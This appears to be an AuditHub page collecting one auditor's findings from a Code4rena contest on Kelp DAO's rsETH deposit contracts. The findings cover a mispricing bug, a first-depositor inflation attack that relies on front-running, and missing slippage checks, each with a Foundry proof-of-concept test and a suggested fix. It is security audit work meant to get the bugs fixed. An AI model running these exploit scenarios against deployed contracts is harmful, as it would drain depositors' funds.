Kelp DAO | rsETH - max10afternoon's results

A collective DAO designed to unlock liquidity, DeFi and higher rewards for restaked assets through liquid restaking.

General Information

Platform: Code4rena

Start Date: 10/11/2023

Pot Size: $28,000 USDC

Total HM: 5

Participants: 185

Period: 5 days

Judge: 0xDjango

Id: 305

League: ETH

Kelp DAO

Findings Distribution

Researcher Performance

Rank: 19/185

Findings: 3

Award: $223.02

🌟 Selected for report: 1

πŸš€ Solo Findings: 0

Awards

36.0335 USDC - $36.03

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
duplicate-62

External Links

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L136 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L136 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L152

Vulnerability details

Impact

The rsETH price, used to compute how many rsETH tokens to mint for a deposit, is computed using the rate of assets value present in the protocol divided by the total supply of rsETH. This computation is performed after user's assets have already been transferred in the pool, and before the new rsETH are minted (obviously), meaning that all deposits will be improperly priced (beside the first), resulting in users receiving less token than what the real price rate should provide them, losing funds to each depositor.

Proof of Concept

The depositAsset function of the LRTDepositPool contract, enables users to deposit LST in the protocol receiving rsETH in return:

function depositAsset( address asset, uint256 depositAmount ) external whenNotPaused nonReentrant onlySupportedAsset(asset) { // checks if (depositAmount == 0) { revert InvalidAmount(); } if (depositAmount > getAssetCurrentLimit(asset)) { revert MaximumDepositLimitReached(); } if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) { revert TokenTransferFailed(); } // interactions uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount); emit AssetDeposit(asset, depositAmount, rsethAmountMinted); }

As can be observed first the asset are transferred in the pool, and only later the rsETH tokens are minted.

The _mintRsETH function, computes how many tokens to mint calling the getRsETHAmountToMint function:

function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }

This function calls the LRTOracle to determine the price of both the asset, and the price of rsETH (using the getRSETHPrice function):

function getRSETHPrice() external view returns (uint256 rsETHPrice) { address rsETHTokenAddress = lrtConfig.rsETH(); uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); if (rsEthSupply == 0) { return 1 ether; } uint256 totalETHInPool; address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL); address[] memory supportedAssets = lrtConfig.getSupportedAssetList(); uint256 supportedAssetCount = supportedAssets.length; for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } } return totalETHInPool / rsEthSupply; }

As can be observed this function divides the total value of assets deposited in the protocol, by the amount of rsETH minted thus far (unless is the first deposit).

Since the assets for the deposit have already been transferred in the pool, when the _mintRsETH internally calls getRSETHPrice, they will artificially increase the price of rsETH which, which is used as a divisor, thus decreasing the amount of asset received by the depositor.

Example

let's say that the asset price is 1 ETH for 1 token (with 18 decimals).

Alice deposit 1 asset token in the protocol, and she receive 1 rsETH back (as the price is 1 ETH and the getRSETHPrice function returns 1 ETH for the first deposit).

Now in the protocol there are 1 rsETH tokens and 1 ETH worth of assets, meaning that the price of rsETH is 1 ETH.

Bob also decides to deposit 1 asset token in the protocol, with a price stETH being 1 ETH, and the value of the assets deposited being 1 ETH, he should receive 1 rsETH token (1:1).

But since the assets gets transferred before computing the price, at the time of the getRSETHPrice function call, there will be 2 ETH worth of assets in the protocol and only 1 rsETH token to balance them, meaning that Bob will receive tokens at a 2:1 rate, losing half of the value deposited.

It could be argued that even tough Bob receives less tokens than expected, this tokens are technically worth more (as they are backed by more LST). But so is true for every asset rsETH already minted before, meaning that Bob's value is "leaked" into Alice's deposit, resulting in a loss of funds for Bob.

Here is a foundry script that shows the scenario above: Place it in the test folder to preserve dependencies

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import { BaseTest } from "./BaseTest.t.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol"; import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol"; import { LRTOracle } from "src/LRTOracle.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import "forge-std/console.sol"; contract MockPriceOracle { function getAssetPrice(address) external pure returns (uint256) { return 1e18; } } contract MockNodeDelegator { function getAssetBalance(address) external pure returns (uint256) { return 0; //first deposits, no assets will be present } } contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest rseth.initialize(address(admin), address(lrtConfig)); vm.startPrank(admin); // add rsETH to LRT config lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config LRTOracle lrtOracleImpl = new LRTOracle(); TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy( address(lrtOracleImpl), address(proxyAdmin), "" ); lrtOracle = LRTOracle(address(lrtOracleProxy)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); vm.stopPrank(); } } contract LRTDepositPoolDepositAsset is LRTDepositPoolTest { address public rETHAddress; MockPriceOracle public priceOracle; function setUp() public override { super.setUp(); // initialize LRTDepositPool lrtDepositPool.initialize(address(lrtConfig)); rETHAddress = address(rETH); // add manager role within LRTConfig vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool)); vm.stopPrank(); lrtOracle.initialize(address(lrtConfig)); priceOracle = new MockPriceOracle(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor(address(rETH), address(priceOracle)); lrtOracle.updatePriceOracleFor(address(stETH), address(priceOracle)); lrtOracle.updatePriceOracleFor(address(cbETH), address(priceOracle)); vm.stopPrank(); address nodeDelegatorContract = address(new MockNodeDelegator()); address[] memory nodeDelegatorQueue = new address[](1); nodeDelegatorQueue[0] = nodeDelegatorContract; vm.prank(admin); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorQueue); } function test_wrongPrice() external { vm.prank(alice); rETH.approve(address(lrtDepositPool), 100 ether); vm.prank(bob); rETH.approve(address(lrtDepositPool), 100 ether); vm.prank(alice); lrtDepositPool.depositAsset(rETHAddress, 1 ether); //The 1st deposit ignores getRSETHpice computations, as it simply returns 1ETH when totalsupply == 0 uint256 firstDepositTimestamp = block.timestamp; vm.prank(bob); lrtDepositPool.depositAsset(rETHAddress, 1 ether); uint256 secondDepositTimestamp = block.timestamp; console.log('rseth received after depositing 1 rETH:'); console.log(rseth.balanceOf(bob)); //Even tough alice and bob both deposit at the same time, //Alice receives the right amount of rseth, as the first deposit ignores getRSETHpice computations //Bob receives only half of what they deserved, as their asset are deposited before computing the price //Meaning that there will be 2 eth worth of asset, and only 1 eth of rseth to balance them, when computing the price assertEq(rseth.balanceOf(bob), rseth.balanceOf(alice)/2); assertEq(firstDepositTimestamp, secondDepositTimestamp); } }

The amount being transferred could be subtracted when computing the rsETH price or the price could be computed before transferring the tokens to the pool.

Assessed type

Other

#0 - c4-pre-sort

2023-11-16T00:31:42Z

raymondfam marked the issue as duplicate of #62

#1 - c4-pre-sort

2023-11-16T00:31:46Z

raymondfam marked the issue as sufficient quality report

#2 - c4-judge

2023-11-29T21:20:24Z

fatherGoose1 marked the issue as satisfactory

#3 - c4-judge

2023-12-01T19:00:05Z

fatherGoose1 changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-12-04T15:31:41Z

fatherGoose1 changed the severity to 3 (High Risk)

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109

Vulnerability details

Impact

Based on how the amount of rsETH tokens to mint, and rsETH tokens price is computed, the first user can deposit the minimum amount to get 1 wei worth of rsETH, than wait for a second deposit to happen, and front run it, with a large enough direct transfer of assets to the pool. Causing 0 asset to be minted back, while increasing the value of rsETH tokens by the deposited amount.

The attack is partially mitigated by the lack of a withdraw function at the time of writing (although one may be added in the future), but this won't prevent the second, and sequential unaware, users to lose their funds, while largely increasing the value of the only token existing (owned by the user), hence the medium severity.

Proof of Concept

The depositAsset function of the LRTDepositPool contract, internally calls _mintRsETH, which computes how many rsETH tokens to mint, using the getRsETHAmountToMint function:

function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }

The amount returned is an integer, derived from a divisions, meaning that is the divisor (being the rsETH price) is greater than the dividend (the amount deposited, multiplied by it's price), the amount minted to the user will be 0.

The price of rsETH tokens is computed by the LRTOracle contract using the getRSETHPrice function:

function getRSETHPrice() external view returns (uint256 rsETHPrice) { address rsETHTokenAddress = lrtConfig.rsETH(); uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); if (rsEthSupply == 0) { return 1 ether; } uint256 totalETHInPool; address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL); address[] memory supportedAssets = lrtConfig.getSupportedAssetList(); uint256 supportedAssetCount = supportedAssets.length; for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } } return totalETHInPool / rsEthSupply; }

This function, basically, computes the total price of assets present in the protocol, than divides it for the total supply of rsETH tokens. Meaning that when the total supply of rsETH is 1 wei, the getRSETHPrice function will return the total value of assets in the protocol. Which can be increased by sending tokens directly into the protocol. Meaning that the first deposit can force (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice() < 1 (which will be rounded down to 0) for the next deposit, by transferring slightly higher amount of tokens, than the second deposit, directly into the pool. Negating any mint to the second user, while doubling the value of the 1 token they own (and all sequential deposit, although users might by aware of the issue at this point).

-Scenario:

  1. Protocol gets deployed to mainnet.
  2. Alice sees it, and deposit the minimum amount of assets necessary to get 1 wei of rsETH minted to her, than waits.
  3. Bob tries to deposit 1 ETH worth of assets into the pool.
  4. Alice sees it, and fronts run the request with a direct transfer to the pool, of 1 ETH. This will cause Bob's call to mint 0 tokens, while still getting Bob's assets. Losing him value, while making the 1 wei token worth 2 ETH.

Here is a foundry script that shows the scenario above, place it in the test folder to preserve dependencies.

The script is composed of two tests, the first one test_stepByStep(), shows the scenario listed above, step by step, but due to another issue (with tokens' transfer while minting), that I've also reported, it might be a little misleading in it's numeric results. Regardless this test shows that the depositAsset function doesn't do anything to protect the users, when getRsETHAmountToMint returns 0 for a non 0 deposit. I've also added a second test (test_IssueBypass()), which bypasses the issue by only calling the getRsETHAmountToMint function, which shows how many token would be minted in case of a future deposit on n assets.

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import { BaseTest } from "./BaseTest.t.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol"; import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol"; import { LRTOracle } from "src/LRTOracle.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import "forge-std/console.sol"; contract MockPriceOracle { function getAssetPrice(address) external pure returns (uint256) { return 1e18; } } contract MockNodeDelegator { function getAssetBalance(address) external pure returns (uint256) { return 0; //first deposit, no assets will be present } } contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracle public lrtOracle; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest rseth.initialize(address(admin), address(lrtConfig)); vm.startPrank(admin); // add rsETH to LRT config lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config LRTOracle lrtOracleImpl = new LRTOracle(); TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy( address(lrtOracleImpl), address(proxyAdmin), "" ); lrtOracle = LRTOracle(address(lrtOracleProxy)); lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); vm.stopPrank(); } } contract LRTDepositPoolDepositAsset is LRTDepositPoolTest { address public rETHAddress; MockPriceOracle public priceOracle; function setUp() public override { super.setUp(); // initialize LRTDepositPool lrtDepositPool.initialize(address(lrtConfig)); rETHAddress = address(rETH); // add manager role within LRTConfig vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool)); vm.stopPrank(); lrtOracle.initialize(address(lrtConfig)); priceOracle = new MockPriceOracle(); vm.startPrank(manager); lrtOracle.updatePriceOracleFor(address(rETH), address(priceOracle)); lrtOracle.updatePriceOracleFor(address(stETH), address(priceOracle)); lrtOracle.updatePriceOracleFor(address(cbETH), address(priceOracle)); vm.stopPrank(); address nodeDelegatorContract = address(new MockNodeDelegator()); address[] memory nodeDelegatorQueue = new address[](1); nodeDelegatorQueue[0] = nodeDelegatorContract; vm.prank(admin); lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorQueue); } function test_stepByStep() external { vm.prank(alice); rETH.approve(address(lrtDepositPool), 2 ether); vm.prank(bob); rETH.approve(address(lrtDepositPool), 2 ether); vm.prank(alice); lrtDepositPool.depositAsset(rETHAddress, 1); vm.prank(alice); rETH.transfer(address(lrtDepositPool), 1 ether); uint256 bobrETHbalanceBefore = rETH.balanceOf(bob); vm.prank(bob); lrtDepositPool.depositAsset(rETHAddress, 1 ether); uint256 bobrETHbalanceAfter = rETH.balanceOf(bob); assertEq(bobrETHbalanceAfter, bobrETHbalanceBefore - 1 ether); assertEq(rseth.balanceOf(bob), 0); } function test_IssueBypass() external { vm.prank(alice); rETH.approve(address(lrtDepositPool), 2 ether); vm.prank(alice); lrtDepositPool.depositAsset(rETHAddress, 1); vm.prank(alice); rETH.transfer(address(lrtDepositPool), 1 ether); //return the amount of rsETH token that would be minted for 1 ETH of rETH on the next deposit (as called in _mintRsETH) uint256 amountMinted = lrtDepositPool.getRsETHAmountToMint(rETHAddress, 1 ether); assertEq(amountMinted, 0); } }

The depositAsset function could revert, if the minted amount is going to be 0.

Assessed type

Other

#0 - c4-pre-sort

2023-11-16T02:35:55Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-16T02:36:02Z

raymondfam marked the issue as duplicate of #42

#2 - c4-judge

2023-12-01T16:59:30Z

fatherGoose1 marked the issue as satisfactory

#3 - c4-judge

2023-12-01T17:02:49Z

fatherGoose1 changed the severity to 3 (High Risk)

Findings Information

Awards

182.3283 USDC - $182.33

Labels

bug
2 (Med Risk)
disagree with severity
high quality report
primary issue
satisfactory
selected for report
sponsor confirmed
M-02

External Links

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/c5fdc2e62c5e1d78769f44d6e34a6fb9e40c00f0/src/LRTDepositPool.sol#L119

Vulnerability details

Impact

The depositAsset function of the LRTDepositPool contract, enables users to deposit assets into the protocol, getting RSETH tokens in return. The function doesn't have any type of slippage control; this is relevant in the context of the depositAsset function, since the amount of tokens received by the user is determined by an interaction with an oracle, meaning that the amount received in return may vary indefinitely while the request is waiting to be executed.

Also the users will have no defense against price manipulations attacks, if they where to be found after the protocol's deployment.

Proof of Concept

As can be observed by looking at it's parameters and implementation, the depositAsset function of the LRTDepositPool contract, doesn't have any type of slippage protection:

function depositAsset( address asset, uint256 depositAmount ) external whenNotPaused nonReentrant onlySupportedAsset(asset) { // checks if (depositAmount == 0) { revert InvalidAmount(); } if (depositAmount > getAssetCurrentLimit(asset)) { revert MaximumDepositLimitReached(); } if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) { revert TokenTransferFailed(); } // interactions uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount); emit AssetDeposit(asset, depositAmount, rsethAmountMinted); }

Meaning that users have no control over how many RSETH tokens they will get in return for depositing in the contract.

The amount of tokens to be minted, with respect to the deposited amount, is determined by the getRsETHAmountToMint function of the same contract (inside of _mintRsETH):

function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }

As can be observed, this function uses two oracle interactions to determine how many tokens to mint, getAssetPrice and getRSETHPrice (with getRSETHPrice internally calling getAssetPrice as well).

The getAssetPrice function queries the external oracle for the asset price:

function getAssetPrice(address asset) public view onlySupportedAsset(asset) returns (uint256) { return IPriceFetcher(assetPriceOracle[asset]).getAssetPrice(asset); }

Meaning that the user has no way to predict how many RSETH they will get back at the moment of minting, as the price could be updated while the request is in the mempool.

Here is a very simple foundry script that shows that an oracle price modification, can largely impact the amount of tokens received in return by the user (implying that the depositAsset function has no protection against it). Place it in the test folder to preserve dependencies:

// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import { BaseTest } from "./BaseTest.t.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol"; import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import "forge-std/console.sol"; contract LRTOracleMock { uint256 assetPrice = 1e18; function setAssetPrice(uint256 newPrice) external { assetPrice = newPrice; } function getAssetPrice(address) external view returns (uint256) { return assetPrice; } function getRSETHPrice() external pure returns (uint256) { return 1e18; } } contract MockNodeDelegator { function getAssetBalance(address) external pure returns (uint256) { return 1e18; } } contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; LRTOracleMock public mockOracle; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); mockOracle = new LRTOracleMock(); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest rseth.initialize(address(admin), address(lrtConfig)); vm.startPrank(admin); // add rsETH to LRT config lrtConfig.setRSETH(address(rseth)); // add oracle to LRT config lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(mockOracle)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); vm.stopPrank(); } } contract LRTDepositPoolDepositAsset is LRTDepositPoolTest { address public rETHAddress; function setUp() public override { super.setUp(); // initialize LRTDepositPool lrtDepositPool.initialize(address(lrtConfig)); rETHAddress = address(rETH); // add manager role within LRTConfig vm.startPrank(admin); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); } function test_OracleCanModifyAssetMinted() external { vm.prank(alice); rETH.approve(address(lrtDepositPool), 2 ether); vm.prank(bob); rETH.approve(address(lrtDepositPool), 2 ether); uint256 aliceDepositTime = block.timestamp; vm.prank(alice); lrtDepositPool.depositAsset(rETHAddress, 2 ether); mockOracle.setAssetPrice(1e17); uint256 bobDepositTime = block.timestamp; vm.prank(bob); lrtDepositPool.depositAsset(rETHAddress, 2 ether); uint256 aliceBalanceAfter = rseth.balanceOf(address(alice)); uint256 bobBalanceAfter = rseth.balanceOf(address(bob)); console.log(aliceBalanceAfter); console.log(bobBalanceAfter); console.log(aliceDepositTime); console.log(bobDepositTime); assertEq(aliceDepositTime, bobDepositTime); assertGt(aliceBalanceAfter, bobBalanceAfter); } }

And additional parameter could be added to the depositAsset function, to let users decide the minimum amount of tokens to be received, with a relative check after minting.

Assessed type

Other

#0 - c4-pre-sort

2023-11-15T23:48:17Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-15T23:48:41Z

raymondfam marked the issue as duplicate of #39

#2 - c4-pre-sort

2023-11-17T06:41:50Z

raymondfam marked the issue as not a duplicate

#3 - c4-pre-sort

2023-11-17T06:41:55Z

raymondfam marked the issue as high quality report

#4 - c4-pre-sort

2023-11-17T06:42:00Z

raymondfam marked the issue as primary issue

#5 - c4-sponsor

2023-11-24T09:21:50Z

gus-staderlabs (sponsor) confirmed

#6 - c4-judge

2023-11-29T19:08:55Z

fatherGoose1 marked the issue as satisfactory

#7 - c4-judge

2023-12-01T19:01:30Z

fatherGoose1 marked the issue as selected for report

#8 - manoj9april

2023-12-03T08:45:35Z

Slippage control makes more sense in DEXes. But in staking protocols, where prices are mostly stable and users can reject if it txn takes longer time. But it is a useful recommendation. I think we can move it to QA.

#9 - c4-sponsor

2023-12-03T08:45:42Z

manoj9april marked the issue as disagree with severity

#10 - manoj9april

2023-12-03T08:47:30Z

similar to #102

#11 - fatherGoose1

2023-12-04T16:32:00Z

Sticking with medium. There is no protection for the user in the current implementation. minShares checks are commonly implemented in staking contracts.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter